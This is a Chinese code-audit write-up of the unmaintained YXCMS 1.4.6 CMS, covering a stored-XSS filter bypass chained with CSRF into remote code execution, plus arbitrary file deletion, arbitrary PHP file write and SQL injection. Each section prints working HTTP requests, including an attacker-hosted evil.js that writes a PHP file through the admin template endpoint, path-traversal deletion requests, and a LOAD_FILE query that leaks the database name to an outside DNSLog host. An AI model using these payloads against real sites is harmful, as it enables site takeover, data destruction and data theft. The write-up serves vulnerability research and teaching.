代码审计:YXCMS 1.4.6 漏洞集合
背景
之前挖过 YXCMS 的一些漏洞,基本都集中在后台。前几天在先知上看到师傅发了一篇前台存储型 XSS 结合固定会话的利用方式(参见 xianzhi.aliyun.com/forum/topic/2025,原链接现已失效),思路和我的不太一样——我是通过数组参数结合绕过正则的方式,让前台可以无限制地写入任意 JS,再配合 CSRF 直接 GetShell。本篇把这条链和之前积累的后台洞(任意文件删除、文件写入、SQL 注入)一并整理出来,主要是学习交流用途,毕竟后台洞里的 SQL 注入这种,实际利用价值并不大(后台本就有执行 SQL 的功能)。
官方站点:
http://www.yxcms.net/(已无法访问,YXCMS 项目长期未维护)
存储型 XSS
漏洞分析
漏洞文件在 protected/apps/default/controller/columnController.php,前台留言通过 case 6 调用 extend 方法处理输入。在第 377-384 行可以看到一段关键逻辑:把 guestbook 对应的 tableinfo 字段名作为 POST 接收的参数名,如果是数组就拆分数组、依次走 in 方法和 deletehtml 方法;如果是字符串就直接丢进 html_in 处理。
guestbook 的 tableinfo 是从 yx_extend 表里取的,先查 yx_sort 拿到 extendid,再按 id='12' OR pid='12' 拿到表单字段定义。
-- 先取 guestbook 的 extendid
SELECT id,name,ename,path,url,type,deep,method,tplist,keywords,description,extendid
FROM yx_sort WHERE ename='guestbook' LIMIT 1;
-- 再取表单字段定义
SELECT id,tableinfo,name,type,defvalue FROM yx_extend
WHERE id='12' OR pid='12' ORDER BY pid,norder DESC;
我的绕过方式正是利用了「数组走 deletehtml」这条分支。跟入 deletehtml(protected/include/lib/common.function.php),其正则替换规则会把 script 标签和完整闭合的 <> 标签替换为空,再把部分实体化字符还原回原字符。因此可以利用 %26gt;(即 > 的 URL 编码)绕过正则:
// deletehtml 核心逻辑(简化示意)
// 1. 先 strip 完整闭合的 <script>...</script> 与 <tag>
// 2. 再 html_entity_decode 还原实体
// 输入 <script%26gt;alert(1)</script%26gt;
// → 第1步不匹配(%26gt; 不是闭合 >)
// → 第2步还原为 <script>alert(1)</script>
// → 再经 in() 的 htmlspecialchars 实体化存储,但语句结构完整保留

输出端在 protected/apps/admin/controller/extendfieldController.php 的留言列表里,模板渲染走 cpTemplate::display → compile。在编译后的模板里可以看到,输出时调用了 html_out 方法,而 html_out 内部依次用了 htmlspecialchars_decode、html_entity_decode、stripslashes——三连还原正好把入库时实体化的 JS 代码完整还原回原样。
// protected/include/lib/common.function.php 第 126-131 行
function html_out($str){
$str = htmlspecialchars_decode($str);
$str = html_entity_decode($str);
$str = stripslashes($str);
return $str;
}

漏洞复现
使用数组方式传入 JS 代码(注意 tname[] 是数组形式,触发 deletehtml 分支):
POST /index.php?r=default/column/index&col=guestbook HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=4vjcrvu6keqtmr9jj4d95kpaq0
tname[]=joe<script%26gt;alert(1)</script%26gt;&tel=18988888888&qq=balabalba&content=asdasdasd&checkcode=6857&__hash__=7c337b66d36c2cff79faaa48201ba66b_89efI8f3lBwpIQ%2BPtjlL52Ml4DFXLp5Fd0RAYVbXqSik2bsNwm1XYCE
管理员访问留言列表即触发:
GET /index.php?r=admin/extendfield/meslist&id=12 HTTP/1.1
配合 CSRF GetShell
由于已经绕过了所有过滤,可以写入任意 JS。先知的师傅用伪 XSS 配合固定会话打后台,我这边直接走 XMLHttpRequest 调用后台模板写入接口(admin/set/tpadd),把 __hash__ token 通过 DOM 取出后传过去,从而生成 evil.php:
// evil.js(攻击者主机托管)
var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("POST","/index.php?r=admin/set/tpadd&Mname=default",true);
xmlhttp1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
// code = <?php phpinfo(); ?> 的 URL 编码
xmlhttp1.send("filename=evil&code=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&__hash__="+document.getElementsByName("__hash__")[0].content);
前台留言携带 <script src=http://www.balabala.com/evil.js>,管理员查看留言时浏览器自动请求 evil.js,触发 CSRF 创建 protected/apps/default/view/default/evil.php,完成 GetShell。
任意文件目录及文件删除
漏洞在 protected/apps/admin/controller/filesController.php 第 52-61 行:文件路径 $dirs 拼接了 in($_GET['fname']),第 57-59 行判断如果是目录就调用 del_dir,是文件就 unlink。
跟入 in 方法(common.function.php 第 8-23 行),发现只做了 htmlspecialchars 和 addslashes,并不处理 ../。跟入 del_dir(第 421-436 行),逻辑是先递归删除目录内所有文件,再删除目录本身——一旦路径可控就是任意文件/目录删除。

GET /index.php?r=admin/files/del&fname=,../1.txt HTTP/1.1
Host: 127.0.0.1
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2
如果目标是目录,整个目录会被递归清空再删除——杀伤面比单文件删除大得多。
任意文件删除
另一个独立的任意文件删除点在 protected/apps/admin/controller/linkController.php 第 90-94 行。逻辑是:编辑友情链接时,如果 $_POST['oldpicture'] 不为空,就把它和上传路径拼接后丢进 unlink——整个过程没有任何安全处理,连 in() 都没过。
复现路径:后台「内容管理 → 链接列表」编辑任意链接,把 oldpicture 参数改为目标文件相对路径(如 ../../test.txt)即可触发删除。这个点比上一个更"裸",但利用前提是有后台权限。
文件写入漏洞
protected/apps/admin/controller/setController.php 第 140-161 行的 tpadd 方法直接用 file_put_contents 写文件,文件名 filename 和内容 code 都未做安全处理,且固定后缀为 .php——等同于后台任意 PHP 文件写入。tpedit 方法(同文件)也存在相同问题。

POST /index.php?r=admin/set/tpadd&Mname=default HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2
filename=evil&code=%3C%3Fphp%0D%0Aphpinfo%28%29%3B%0D%0A%3F%3E&__hash__=a68c4298ea89667cee4744db6ecba878_250cIYFldqtRr6mAExOK0F%2FLl0HqXu6HdtoIYL%2FaC4q4WyT3CzrTnNxz
写入后访问 http://127.0.0.1/protected/apps/default/view/default/evil.php 即可执行。
SQL 注入漏洞
漏洞在 protected/apps/admin/controller/fragmentController.php 第 63-76 行:用 implode 把 $_POST['delid'] 数组转成字符串后直接传入 delete 方法。跟入 delete → _parseCondition → parseCondition(cpMysql.class.php 第 128-158 行),可以看到当传入字符串时直接拼接,当传入数组时才对每个元素做 escape(底层是 mysql_real_escape_string)。
// cpMysql.class.php parseCondition 简化逻辑
if (is_string($data)) {
// 直接拼接到 SQL,无转义
$condition .= $data;
} elseif (is_array($data)) {
// 对每个元素 escape,但保持结构
foreach ($data as $v) { $condition .= escape($v); }
}
而 delid[] 通过 implode 后已经是字符串——绕过了数组分支的 escape。再加上 delid 是数字型注入(WHERE id IN (...)),mysql_real_escape_string 对数字上下文本就无效,注入点彻底敞开。

复现:后台「碎片列表」执行删除操作,把 delid[] 改为子查询,利用 DNSLog 外带数据(获取到数据库名 yxcms):
POST /index.php?r=admin/fragment/del HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=bbei6n32cuevaf1lbi0n79rdj2
delid%5B%5D=select LOAD_FILE((CONCAT('\\\\',(SELECT DATABASE()),'.8571e594.2m1.pw\\abc')))&__hash__=529fbedab8a7b8a3f3f5a0f394f51cf2_08ebfXTKPoKd0tX4iq+aFMwhq5QkkRGC/NfUu/Ny83+UmU8u0MoCIj8
写在最后
YXCMS 1.4.6 这套漏洞集合,本质上是 2010 年代国产 PHP CMS 的典型通病缩影:输入净化函数设计自相矛盾(先剥后还原)、路径校验依赖 addslashes 这类"通用净化"而无视 ../、文件写入接口对后台权限盲目信任、SQL 过滤在数据形态转换后失效。每一条单看似乎都是"低危后台洞",但通过前台留言板的存储型 XSS 这条引线,全部可以被串成前台匿名 RCE 的完整链。
回过头看,这条链的起点其实就是 deletehtml 那一对"清洗 + 还原"的对称操作——输入侧看似在过滤,输出侧却在还原,二者抵消等于没过滤。一致性缝隙一旦存在,攻击者只需要找到一个能让两侧"不对称"的输入(这里是 %26gt;),就能让整个防御体系崩塌。这也是我做代码审计时最看重的信号:净化与还原若同时存在,二者必然存在不对称的窗口。
注:YXCMS 项目已长期未维护,官方域名
yxcms.net实际无法访问。本文仅作历史审计复盘与技术学习用途,请勿用于未授权测试。先知论坛(xianzhi.aliyun.com)原链接也已失效。